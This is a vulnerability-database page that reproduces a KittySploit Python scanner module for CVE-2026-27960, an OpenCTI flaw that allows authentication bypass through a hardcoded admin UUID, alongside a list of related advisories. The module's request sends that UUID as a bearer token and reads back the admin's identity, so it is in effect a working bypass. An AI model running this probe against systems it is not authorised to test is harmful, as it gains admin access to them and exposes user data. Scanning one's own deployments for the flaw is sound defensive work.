OpenCTI CVE-2026-27960 Auth Bypass Detect
| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| Exploit for Improper Input Validation in Microsoft | 7 May 202601:44 | – | githubexploit | |
| CVE-2026-27960 | 5 May 202618:35 | – | attackerkb | |
| CVE-2026-27960 | 5 May 202619:19 | – | circl | |
| OpenCTI 授权问题漏洞 | 5 May 202600:00 | – | cnnvd | |
| CVE-2026-27960 | 5 May 202618:35 | – | cve | |
| CVE-2026-27960 OpenCTI privilege escalation and unauthenticated access via default admin account | 5 May 202618:35 | – | cvelist | |
| EUVD-2026-27420 | 5 May 202618:35 | – | euvd | |
| OpenCTI Auth Bypass (CVE-2026-27960) | 8 Aug 202616:40 | – | kittysploit | |
| CVE-2026-27960 | 5 May 202618:35 | – | mend | |
| OpenCTI Authentication Bypass and Notifier EJS Remote Code Execution | 4 May 202600:00 | – | metasploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Detect OpenCTI CVE-2026-27960 hardcoded admin UUID authentication bypass."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.response_validation import parse_json_response
class Module(Scanner, Http_client):
__info__ = {
"name": "OpenCTI CVE-2026-27960 Auth Bypass Detect",
"description": (
"Detects CVE-2026-27960 in OpenCTI 6.6.0 through 6.9.12: authenticateUserByTokenOrUserId "
"looks up users by bearer token without verifying it equals api_token. The admin "
"internal_id 88ec0c6a-13ce-5e39-b486-354fe4a7084f is identical across deployments "
"and authenticates as admin when sent as a bearer token."
),
"author": ["KittySploit Team"],
"severity": "critical",
"cve": ["CVE-2026-27960"],
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-27960",
"https://www.cve.org/CVERecord?id=CVE-2026-27960",
],
"modules": ["auxiliary/admin/http/opencti_cve_2026_27960_auth_bypass"],
"tags": [
"web",
"scanner",
"opencti",
"graphql",
"auth-bypass",
"cve-2026-27960",
"vuln",
],
"agent": {
"risk": "active",
"effects": ["network_probe"],
"expected_requests": 1,
"reversible": True,
"approval_required": False,
"produces": ["tech_hints", "risk_signals", "exploit_paths"],
"cost": 1.0,
"noise": 0.3,
"value": 1.0,
"requires": {
"tech_hints_any": ["opencti", "graphql"],
"endpoint_pattern_any": ["/graphql"],
},
"chain": {
"produces_capabilities": [
{"capability": "auth_bypass", "from_detail": "hardcoded admin UUID"},
],
"suggested_followups": [
"auxiliary/admin/http/opencti_cve_2026_27960_auth_bypass",
],
},
},
}
port = OptPort(4000, "OpenCTI HTTP port", True)
ssl = OptBool(False, "Use HTTPS", True, advanced=True)
graphql_path = OptString(
"/graphql",
"GraphQL endpoint path (e.g. /graphql, /public/graphql)",
False,
)
def run(self):
base = (self.path or "/").rstrip("/")
gql = self.graphql_path if self.graphql_path.startswith("/") else f"/{self.graphql_path}"
endpoint = f"{base}{gql}" if base else gql
try:
response = self.http_request(
method="POST",
path=endpoint,
json={"query": "{ me { id name user_email capabilities { name } } }"},
headers={
"Authorization": "Bearer 88ec0c6a-13ce-5e39-b486-354fe4a7084f",
"Content-Type": "application/json",
},
timeout=int(self.timeout or 15),
)
except Exception as exc:
print_status(f"CVE-2026-27960 probe failed: {exc.__class__.__name__}")
return False
if not response or response.status_code != 200:
return False
body, err = parse_json_response(response)
if err or not body:
return False
if body.get("errors") and not body.get("data"):
return False
me = (body.get("data") or {}).get("me")
if not me:
return False
caps = [c.get("name", "") for c in me.get("capabilities") or []]
if "BYPASS" not in caps and me.get("id") != "88ec0c6a-13ce-5e39-b486-354fe4a7084f":
return False
name = me.get("name") or ""
email = me.get("user_email") or ""
reason = f"CVE-2026-27960: authenticated as admin '{name}' <{email}>"
print_status(f"CVE-2026-27960 vuln=True user={name}")
self.set_info(
severity="critical",
reason=reason,
vulnerable=True,
cve="CVE-2026-27960",
path=endpoint,
user_id=me.get("id"),
user_name=name,
user_email=email,
capabilities=caps,
)
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Aug 2026 16:40Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
EPSS0.0468
SSVC